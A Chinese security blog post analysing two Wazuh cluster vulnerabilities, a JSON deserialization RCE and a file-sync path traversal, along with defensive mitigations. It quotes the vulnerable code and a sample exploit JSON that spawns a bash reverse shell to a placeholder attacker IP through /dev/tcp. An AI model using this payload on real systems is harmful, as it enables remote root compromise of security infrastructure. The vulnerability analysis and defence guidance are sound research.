文章总结： Wazuh集群存在两个CVE漏洞，允许攻击者通过worker节点以root权限在master节点上执行任意命令，可修改规则、删除告警、获取资产凭证，并可能导致SIEM系统被完全控制。建议升级至4.14.3版本，或采取其他防御措施。
综合评分： 85
文章分类： 漏洞分析,网络安全,安全建设,安全工具,技术标准

安全平台自己成了跳板:Wazuh集群双CVE反序列化RCE拆解

cwbird
cwbird

bird网络安全

2026年9月28日 09:24
四川

在小说阅读器读本章

去阅读

在公众号小说中沉浸阅读

Wazuh 在 4.0.0 到 4.14.2 这个横跨六年的版本区间里，藏着两个能把防御方大脑直接打穿的洞：CVE-2026-25769 和 CVE-2026-25770。攻击者只要拿下一台 worker 节点，就能在 master 上以 root 权限执行任意命令，然后改规则、删告警、拿日志里所有资产凭证。SIEM 沦陷的代价从来比一台业务服务器大，因为攻击者由此拿到了你整个内网的监控盲区图。

集群通信的信任假设是怎么塌的

Wazuh 集群的架构是 master 加若干 worker。master 负责规则分发和 API 服务，worker 接 agent、做预处理，节点之间走 TCP 1516 端口，用 Fernet 对称加密，密钥写在 ossec.conf 的 cluster 配置段里。

问题出在信任模型的设计上：只要一个节点持有正确的密钥，master 就把它当成完全可信的对端，发来的数据不做任何校验直接反序列化。认证被当成了验证的替代品。真实环境里 worker 往往是一台配置更低、打补丁更慢的机器，横向移动拿下一台 worker 的难度，远低于直接打 master。这个假设在实际攻防里撑不住。

Resecurity 在 2026 年 4 月的分析里给了一条完整链路：攻击者在 worker 上加载 Wazuh 自带的 LocalClient 模块，构造一个 DAPI 请求发向 master，master 解析 JSON 时触发漏洞代码，一条反向 shell 就回来了。全程不需要绕过任何检测规则，因为流量走的就是集群自己的加密通道，SOC 在流量层看到的是正常节点间通信。

as_wazuh_object:20 行代码的失守

CVE-2026-25769 的病根在 framework/wazuh/core/cluster/common.py 的 as_wazuh_object 函数。Wazuh 集群通信序列化对象时用了 JSON，但 JSON 存不了 Python 函数对象，于是开发者写了个自定义 object_hook，在反序列化时把函数「还原」出来：

def as_wazuh_object(dct):     if '__callable__' in dct:         encoded_callable = dct['__callable__']         funcname = encoded_callable['__name__']         if '__wazuh__' in encoded_callable:             wazuh = Wazuh()             return getattr(wazuh, funcname)         else:             qualname = encoded_callable['__qualname__'].split('.')             classname = qualname[0] if len(qualname) > 1 else None             module_path = encoded_callable['__module__']             module = import_module(module_path)             if classname is None:                 return getattr(module, funcname)             else:                 return getattr(getattr(module, classname), funcname)

注意 module_path 直接来自 JSON 输入，中间没有任何白名单。import_module 想加载什么模块就加载什么模块，os、subprocess、shutil 都在 Python 标准库里等着。getattr 解析完函数名后，返回的是可调用的函数对象本身。

数据到这里已经变成了代码。下游 dapi.py 拿到反序列化结果后执行 data = f(**f_kwargs)，两个变量都来自攻击者构造的 JSON：

{   「f」: {「__callable__」: {「__name__」: 「getoutput」,                          「__module__」: 「subprocess」,                          「__qualname__」: 「getoutput」}},   「f_kwargs」: {「cmd」: 「bash -c 'bash -i >& /dev/tcp/攻击机 IP/4444 0>&1'」},   「request_type」: 「local_master」 }

request_type 设成 local_master 是关键，它强制请求在 master 本地执行而不是被转发逻辑分走。GitHub 上公开的 PoC（原作者 vikman90）在 Docker 环境里从 worker 容器跑一遍脚本，nc 监听 4444 端口直接收到 master 反弹的 shell，PoC 全文不到 30 行。CVSS 评分给了 10.0，从利用复杂度看这个分不冤：前提条件只剩一个 worker 节点的控制权。

第二个洞:文件同步里的路径穿越

CVE-2026-25770 走的是另一条路。集群节点之间要同步配置和规则文件，接收端的处理逻辑大意是：

self.in_file[data] = {     'fd': open(common.WAZUH_PATH + data.decode(), 'wb'),     'checksum': hashlib.sha256() }

data 是文件相对路径，没有对../做任何检查，直接拼接到 WAZUH_PATH 后面打开写入。这个进程以非特权用户运行，但写配置目录的权限是有的。

组合拳就出来了：攻击者先用路径穿越把恶意的 ossec.conf 同步过去，覆盖 master 的/var/ossec/etc/ossec.conf，配置里塞进或标签。Wazuh 本来就支持在配置里定义命令执行（这是它主动响应功能的正当用途），配置文件每次重载都会执行这些命令。一次配置覆盖，实现从非特权用户到命令执行的提权。

两个 CVE 单独看各有门槛，合在一起就是完整的链条：25770 负责改配置落地持久化，25769 负责随时随地的即时代码执行。披露时间线上的先后也说明这是一次成体系的审计，攻击面覆盖了集群协议的两个独立处理路径。

防御侧能做的五件事

升级到 4.14.3 是根治方案，这个版本在 as_wazuh_object 里加了模块导入白名单。升级窗口排不出来之前，下面几条按优先级执行。

封端口。TCP 1516 只允许已知 worker 的 IP 访问，防火墙规则收紧到管理网段。这一条做完，直接暴露在半信任网络的攻击面就没了。

轮换密钥。ossec.conf 里的 cluster key 如果已经服役多年，趁机换掉。密钥泄漏等于集群成员资格泄漏，Fernet 加密在密钥泄露面前不提供任何保护。

盯 worker。这两个洞的入口都是 worker 节点失陷。对 worker 跑文件完整性监控（Wazuh 自己的 FIM 就能做，有点讽刺但有效）、限制 worker 上的 sudo 权限、把 worker 的系统补丁优先级提到和 master 一致。

查日志。master 上/var/ossec/logs/api/api.log 里出现 dapi 请求但来源行为异常的，值得排查。更直接的检测点是 master 上出现非预期的进程派生，wazuh 用户起了 bash 或 python，正常运营里几乎不会出现这种进程树。

审配置。ossec.conf 的 mtime 和内容 hash 纳入基线监控，任何未走变更流程的修改直接告警。25770 的利用一定会在 master 配置目录留下写动作，这是最确定的痕迹。

JSON 反序列化的老毛病又犯了

CWE-502（不可信数据反序列化）在 Java 生态被讲了很多年，ysoserial 的每个链子都被分析烂了。Python 生态里大家的警惕性明显低一截，理由通常是「json.loads 本身是安全的」。这话对，但只对了一半：json.loads 配合自定义 object_hook，等于把 JSON 解析的安全边界扩展到了 hook 函数的每一行代码。攻击者控制不了的解析器本身，能控制的却是 hook 读到的每一个字段。

Wazuh 这个案例里最扎心的细节是，触发漏洞的代码是一个正常业务功能：集群之间确实需要传递函数引用（比如 DAPI 框架里把要执行的框架函数名传给对端）。业务需求成立，实现方式把「传函数名」做成了「传任意函数名」。修复方案的白名单思路也因此很明确：函数传递可以，但只允许 wazuh 框架内部的模块，标准库一个都不放进来。

任何在 RPC、消息队列、微服务间通信里用了自定义序列化协议的团队都值得拿这个案例自查一遍：你的 object_hook 或者等价物里，有没有 import_module、eval、getattr 这种从用户输入直接落到执行的路径。有的话，下一个 CVE 编号可能就是你的。

参考：Resecurity 漏洞分析（2026-04）、Wazuh 官方 4.14.3 安全公告、GitHub 公开 PoC 仓库（vikman90 原始利用）。

免责声明：

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。

任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。

本文转载自：bird网络安全 cwbird
cwbird《安全平台自己成了跳板:Wazuh集群双CVE反序列化RCE拆解》